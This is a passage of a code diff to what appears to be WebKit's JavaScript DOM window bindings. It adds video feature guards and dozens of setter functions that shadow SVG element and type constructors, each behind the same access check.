@@ -5755,7 +7159,9 @@ void setJSDOMWindowHTMLMediaElementConstructor(ExecState* exec, JSObject* thisOb
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLMediaElement"), value);
 }
+#endif
 
+#if ENABLE(VIDEO)
 void setJSDOMWindowHTMLVideoElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5763,7 +7169,9 @@ void setJSDOMWindowHTMLVideoElementConstructor(ExecState* exec, JSObject* thisOb
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLVideoElement"), value);
 }
+#endif
 
+#if ENABLE(VIDEO)
 void setJSDOMWindowMediaErrorConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5771,6 +7179,7 @@ void setJSDOMWindowMediaErrorConstructor(ExecState* exec, JSObject* thisObject,
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "MediaError"), value);
 }
+#endif
 
 void setJSDOMWindowXPathEvaluatorConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
@@ -5796,6 +7205,14 @@ void setJSDOMWindowXPathExceptionConstructor(ExecState* exec, JSObject* thisObje
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "XPathException"), value);
 }
 
+void setJSDOMWindowSVGAElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAElement"), value);
+}
+
 void setJSDOMWindowSVGAngleConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5804,6 +7221,118 @@ void setJSDOMWindowSVGAngleConstructor(ExecState* exec, JSObject* thisObject, JS
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAngle"), value);
 }
 
+void setJSDOMWindowSVGAnimatedAngleConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedAngle"), value);
+}
+
+void setJSDOMWindowSVGAnimatedBooleanConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedBoolean"), value);
+}
+
+void setJSDOMWindowSVGAnimatedEnumerationConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedEnumeration"), value);
+}
+
+void setJSDOMWindowSVGAnimatedIntegerConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedInteger"), value);
+}
+
+void setJSDOMWindowSVGAnimatedLengthConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedLength"), value);
+}
+
+void setJSDOMWindowSVGAnimatedLengthListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedLengthList"), value);
+}
+
+void setJSDOMWindowSVGAnimatedNumberConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedNumber"), value);
+}
+
+void setJSDOMWindowSVGAnimatedNumberListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedNumberList"), value);
+}
+
+void setJSDOMWindowSVGAnimatedPreserveAspectRatioConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedPreserveAspectRatio"), value);
+}
+
+void setJSDOMWindowSVGAnimatedRectConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedRect"), value);
+}
+
+void setJSDOMWindowSVGAnimatedStringConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedString"), value);
+}
+
+void setJSDOMWindowSVGAnimatedTransformListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGAnimatedTransformList"), value);
+}
+
+void setJSDOMWindowSVGCircleElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGCircleElement"), value);
+}
+
+void setJSDOMWindowSVGClipPathElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGClipPathElement"), value);
+}
+
 void setJSDOMWindowSVGColorConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5812,6 +7341,70 @@ void setJSDOMWindowSVGColorConstructor(ExecState* exec, JSObject* thisObject, JS
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGColor"), value);
 }
 
+void setJSDOMWindowSVGCursorElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGCursorElement"), value);
+}
+
+void setJSDOMWindowSVGDefsElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGDefsElement"), value);
+}
+
+void setJSDOMWindowSVGDescElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGDescElement"), value);
+}
+
+void setJSDOMWindowSVGDocumentConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGDocument"), value);
+}
+
+void setJSDOMWindowSVGElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGElement"), value);
+}
+
+void setJSDOMWindowSVGElementInstanceConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGElementInstance"), value);
+}
+
+void setJSDOMWindowSVGElementInstanceListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGElementInstanceList"), value);
+}
+
+void setJSDOMWindowSVGEllipseElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGEllipseElement"), value);
+}
+
 void setJSDOMWindowSVGExceptionConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5820,6 +7413,14 @@ void setJSDOMWindowSVGExceptionConstructor(ExecState* exec, JSObject* thisObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGException"), value);
 }
 
+void setJSDOMWindowSVGGElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGGElement"), value);
+}
+
 void setJSDOMWindowSVGGradientElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5828,6 +7429,14 @@ void setJSDOMWindowSVGGradientElementConstructor(ExecState* exec, JSObject* this
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGGradientElement"), value);
 }
 
+void setJSDOMWindowSVGImageElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGImageElement"), value);
+}
+
 void setJSDOMWindowSVGLengthConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5836,6 +7445,30 @@ void setJSDOMWindowSVGLengthConstructor(ExecState* exec, JSObject* thisObject, J
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGLength"), value);
 }
 
+void setJSDOMWindowSVGLengthListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGLengthList"), value);
+}
+
+void setJSDOMWindowSVGLinearGradientElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGLinearGradientElement"), value);
+}
+
+void setJSDOMWindowSVGLineElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGLineElement"), value);
+}
+
 void setJSDOMWindowSVGMarkerElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5844,6 +7477,46 @@ void setJSDOMWindowSVGMarkerElementConstructor(ExecState* exec, JSObject* thisOb
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGMarkerElement"), value);
 }
 
+void setJSDOMWindowSVGMaskElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGMaskElement"), value);
+}
+
+void setJSDOMWindowSVGMatrixConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGMatrix"), value);
+}
+
+void setJSDOMWindowSVGMetadataElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGMetadataElement"), value);
+}
+
+void setJSDOMWindowSVGNumberConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGNumber"), value);
+}
+
+void setJSDOMWindowSVGNumberListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGNumberList"), value);
+}
+
 void setJSDOMWindowSVGPaintConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5852,6 +7525,14 @@ void setJSDOMWindowSVGPaintConstructor(ExecState* exec, JSObject* thisObject, JS
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPaint"), value);
 }
 
+void setJSDOMWindowSVGPathElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathElement"), value);
+}
+
 void setJSDOMWindowSVGPathSegConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5860,6 +7541,206 @@ void setJSDOMWindowSVGPathSegConstructor(ExecState* exec, JSObject* thisObject,
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSeg"), value);
 }
 
+void setJSDOMWindowSVGPathSegArcAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegArcAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegArcRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegArcRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegClosePathConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegClosePath"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoCubicAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoCubicAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoCubicRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoCubicRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoCubicSmoothAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoCubicSmoothRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoQuadraticAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoQuadraticRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoQuadraticRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoQuadraticSmoothAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegCurvetoQuadraticSmoothRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoHorizontalAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoHorizontalAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoHorizontalRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoHorizontalRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoVerticalAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoVerticalAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegLinetoVerticalRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegLinetoVerticalRel"), value);
+}
+
+void setJSDOMWindowSVGPathSegListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegList"), value);
+}
+
+void setJSDOMWindowSVGPathSegMovetoAbsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegMovetoAbs"), value);
+}
+
+void setJSDOMWindowSVGPathSegMovetoRelConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPathSegMovetoRel"), value);
+}
+
+void setJSDOMWindowSVGPatternElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPatternElement"), value);
+}
+
+void setJSDOMWindowSVGPointConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPoint"), value);
+}
+
+void setJSDOMWindowSVGPointListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPointList"), value);
+}
+
+void setJSDOMWindowSVGPolygonElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPolygonElement"), value);
+}
+
+void setJSDOMWindowSVGPolylineElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPolylineElement"), value);
+}
+
 void setJSDOMWindowSVGPreserveAspectRatioConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5868,6 +7749,30 @@ void setJSDOMWindowSVGPreserveAspectRatioConstructor(ExecState* exec, JSObject*
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGPreserveAspectRatio"), value);
 }
 
+void setJSDOMWindowSVGRadialGradientElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGRadialGradientElement"), value);
+}
+
+void setJSDOMWindowSVGRectConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGRect"), value);
+}
+
+void setJSDOMWindowSVGRectElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGRectElement"), value);
+}
+
 void setJSDOMWindowSVGRenderingIntentConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5876,6 +7781,62 @@ void setJSDOMWindowSVGRenderingIntentConstructor(ExecState* exec, JSObject* this
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGRenderingIntent"), value);
 }
 
+void setJSDOMWindowSVGScriptElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGScriptElement"), value);
+}
+
+void setJSDOMWindowSVGStopElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGStopElement"), value);
+}
+
+void setJSDOMWindowSVGStringListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGStringList"), value);
+}
+
+void setJSDOMWindowSVGStyleElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGStyleElement"), value);
+}
+
+void setJSDOMWindowSVGSVGElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGSVGElement"), value);
+}
+
+void setJSDOMWindowSVGSwitchElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGSwitchElement"), value);
+}
+
+void setJSDOMWindowSVGSymbolElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGSymbolElement"), value);
+}
+
